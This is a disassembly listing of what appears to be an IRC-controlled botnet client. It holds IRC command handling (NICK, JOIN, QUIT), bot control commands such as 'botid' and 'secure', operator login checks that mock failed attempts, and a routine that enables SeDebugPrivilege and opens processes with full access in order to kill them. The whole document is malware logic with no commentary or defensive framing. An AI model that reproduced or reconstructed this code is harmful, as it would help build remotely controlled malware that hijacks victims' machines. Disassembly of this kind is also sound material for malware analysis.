		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414799
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414799
		mov	[ebp+var_46C], 1


loc_414799:				; CODE XREF: sub_40EE72+590Aj
					; sub_40EE72+591Bj
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FE44
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_41533B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414807


loc_4147F1:				; CODE XREF: sub_40EE72+5993j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------


loc_414807:				; CODE XREF: sub_40EE72+597Dj
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset unk_42FDF4
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_414818:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414837
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42FDCC
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414837:				; CODE XREF: sub_40EE72+59A9j
		push	[ebp+arg_4]
		call	dword_43AE30
		call	dword_43ACF8
		call	sub_40AC42
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_414852:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FDA4
		jmp	loc_4145BD
; ---------------------------------------------------------------------------


loc_414880:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FD7C
		jmp	loc_4145BD
; ---------------------------------------------------------------------------


loc_4148B2:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_4148CB:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_41490A
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41490A
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41490A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_41490A:				; CODE XREF: sub_40EE72+5A62j
					; sub_40EE72+5A6Dj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FD54
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4149AD


loc_414997:				; CODE XREF: sub_40EE72+5B39j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_414997
; ---------------------------------------------------------------------------


loc_4149AD:				; CODE XREF: sub_40EE72+5B23j
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset dword_42FD0C
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4149BE:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_42FCE4
		call	sub_40BF6D
		jmp	loc_41452A
; ---------------------------------------------------------------------------


loc_4149DE:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A38
		push	offset dword_42FCE0
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3E
; ---------------------------------------------------------------------------


loc_414A38:				; CODE XREF: sub_40EE72+5BAAj
		mov	[ebp+var_46C], ebx


loc_414A3E:				; CODE XREF: sub_40EE72+5BC4j
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FCB4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414AA8


loc_414A96:				; CODE XREF: sub_40EE72+5C34j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC3
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_414A96
; ---------------------------------------------------------------------------


loc_414AA8:				; CODE XREF: sub_40EE72+5C22j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_42FC6C


loc_414AB4:				; CODE XREF: sub_40EE72+489Dj
					; sub_40EE72+49B9j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_414AC3:				; CODE XREF: sub_40EE72+4527j
					; sub_40EE72+453Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_42FC44
		jmp	short loc_414AED
; ---------------------------------------------------------------------------


loc_414ADB:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_4CD5F0
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_42FC08


loc_414AED:				; CODE XREF: sub_40EE72+5C67j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_414B1A:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4C
		cmp	[ebp+var_C], ebx
		jz	short loc_414B5B
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B5B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B5B
; ---------------------------------------------------------------------------


loc_414B4C:				; CODE XREF: sub_40EE72+5CB1j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx


loc_414B5B:				; CODE XREF: sub_40EE72+5CB6j
					; sub_40EE72+5CC5j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------


loc_414B62:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_42FBB8
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414B84:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_42FB78
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414BA5:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF4
; ---------------------------------------------------------------------------


loc_414BBB:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_42FB68
		push	offset dword_42FB5C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_42FB50
		push	offset dword_42FB40
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BEB:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0F
; ---------------------------------------------------------------------------


loc_414C0A:				; CODE XREF: sub_40EE72+5D82j
					; sub_40EE72+5D8Dj
		mov	eax, dword_42F5A8


loc_414C0F:				; CODE XREF: sub_40EE72+5D96j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C34
		push	esi


loc_414C21:				; CODE XREF: sub_40EE72+5DD1j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C4B
; ---------------------------------------------------------------------------


loc_414C34:				; CODE XREF: sub_40EE72+5DACj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C45
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C21
; ---------------------------------------------------------------------------


loc_414C45:				; CODE XREF: sub_40EE72+5DC8j
		mov	[ebp+var_488], bl


loc_414C4B:				; CODE XREF: sub_40EE72+5DC0j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414CFC


loc_414CE6:				; CODE XREF: sub_40EE72+5E88j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_414CE6
; ---------------------------------------------------------------------------


loc_414CFC:				; CODE XREF: sub_40EE72+5E72j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_42FAF8
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_414D0D:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D35
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3F


loc_414D35:				; CODE XREF: sub_40EE72+5EAAj
		mov	[ebp+var_46C], 1


loc_414D3F:				; CODE XREF: sub_40EE72+5EC1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D86
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_414D86:				; CODE XREF: sub_40EE72+5F0Dj
		push	eax
		push	offset dword_42FAAC
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F28
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414DF6


loc_414DE4:				; CODE XREF: sub_40EE72+5F82j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E11
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_414DE4
; ---------------------------------------------------------------------------


loc_414DF6:				; CODE XREF: sub_40EE72+5F70j
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset unk_42FA60


loc_414E02:				; CODE XREF: sub_40EE72+3DA5j
					; sub_40EE72+4AC1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_414E11:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+3959j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------


loc_414E22:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_42FA40
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_414E31:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E91
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E86
		cmp	eax, 2
		jge	short loc_414E86
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E7B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432E08
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414E7B:				; CODE XREF: sub_40EE72+5FE8j
		push	eax
		push	offset dword_42FA04
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E86:				; CODE XREF: sub_40EE72+5FD3j
					; sub_40EE72+5FD8j
		push	eax
		push	offset dword_42F9C8
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E91:				; CODE XREF: sub_40EE72+5FC8j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_414E96:				; CODE XREF: sub_40EE72+6040j
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB9
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E96
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414EB9:				; CODE XREF: sub_40EE72+6034j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432E08
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414ED3:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F47
		call	sub_416F25
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_414EF5:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_42F994


loc_414F40:				; CODE XREF: sub_40EE72+4344j
					; sub_40EE72+49D7j ...
		call	sub_40BFE1
		pop	ecx


loc_414F46:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx


loc_414F47:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414F4F:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_432E84 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_436EF4
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_42F990 ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEE
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F908
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_414FEE:				; CODE XREF: sub_40EE72+6138j
		mov	[ebp+arg_24], offset off_42F6C8


loc_414FF5:				; CODE XREF: sub_40EE72+619Fj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415055
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6CC
		jb	short loc_414FF5
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F8CC
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_415055:				; CODE XREF: sub_40EE72+6192j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_41505A:				; CODE XREF: sub_40EE72+6212j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_41507A
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41508B


loc_41507A:				; CODE XREF: sub_40EE72+61F3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41505A
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_41508B:				; CODE XREF: sub_40EE72+6206j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42F8A0
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4150C2:				; CODE XREF: sub_40EE72+6234j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_42F870
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4150D3:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_4CD76C, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511F	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27A0DABh
		push	eax
		call	dword_43AD7C
		test	eax, eax
		jnz	short loc_41513E
		leave
		retn
; ---------------------------------------------------------------------------


loc_41513E:				; CODE XREF: sub_41511F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43AD54
		test	eax, eax
		jz	short loc_41517C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415165
		or	[ebp+var_8], 2
		jmp	short loc_415169
; ---------------------------------------------------------------------------


loc_415165:				; CODE XREF: sub_41511F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_415169:				; CODE XREF: sub_41511F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43AE04
		mov	esi, eax


loc_41517C:				; CODE XREF: sub_41511F+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2651922h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518A	proc near		; CODE XREF: sub_40EE72+4B66p
					; sub_41533B+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43ADB8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415334
		cmp	dword_43AD9C, ebx
		jz	loc_415334
		cmp	dword_43ACB8, ebx
		jz	loc_415334
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43ADB8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415327
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43AD9C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415322


loc_41522D:				; CODE XREF: sub_41518A+BEj
					; sub_41518A+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43ACB8
		test	eax, eax
		jz	loc_415322
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522D
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152DA
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522D
		push	[ebp+var_124]
		push	8
		call	dword_43ADB8
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415297
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43AC64
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529D
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A3
; ---------------------------------------------------------------------------


loc_415297:				; CODE XREF: sub_41518A+EBj
		push	[ebp+var_124]


loc_41529D:				; CODE XREF: sub_41518A+103j
		lea	eax, [ebp+var_108]


loc_4152A3:				; CODE XREF: sub_41518A+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522D
; ---------------------------------------------------------------------------


loc_4152DA:				; CODE XREF: sub_41518A+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522D
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		nop
		call	near ptr 2740795h
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		nop
		call	near ptr 27F0BA6h
		test	eax, eax
		jnz	short loc_41531D
		push	edi
		call	esi
		jmp	short loc_415334
; ---------------------------------------------------------------------------


loc_41531D:				; CODE XREF: sub_41518A+18Cj
		push	1
		pop	eax
		jmp	short loc_415336
; ---------------------------------------------------------------------------


loc_415322:				; CODE XREF: sub_41518A+9Dj
					; sub_41518A+B5j
		push	[ebp+var_4]
		call	esi


loc_415327:				; CODE XREF: sub_41518A+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx


loc_415334:				; CODE XREF: sub_41518A+3Aj
					; sub_41518A+46j ...
		xor	eax, eax


loc_415336:				; CODE XREF: sub_41518A+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41533B	proc near		; DATA XREF: sub_40EE72+595Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
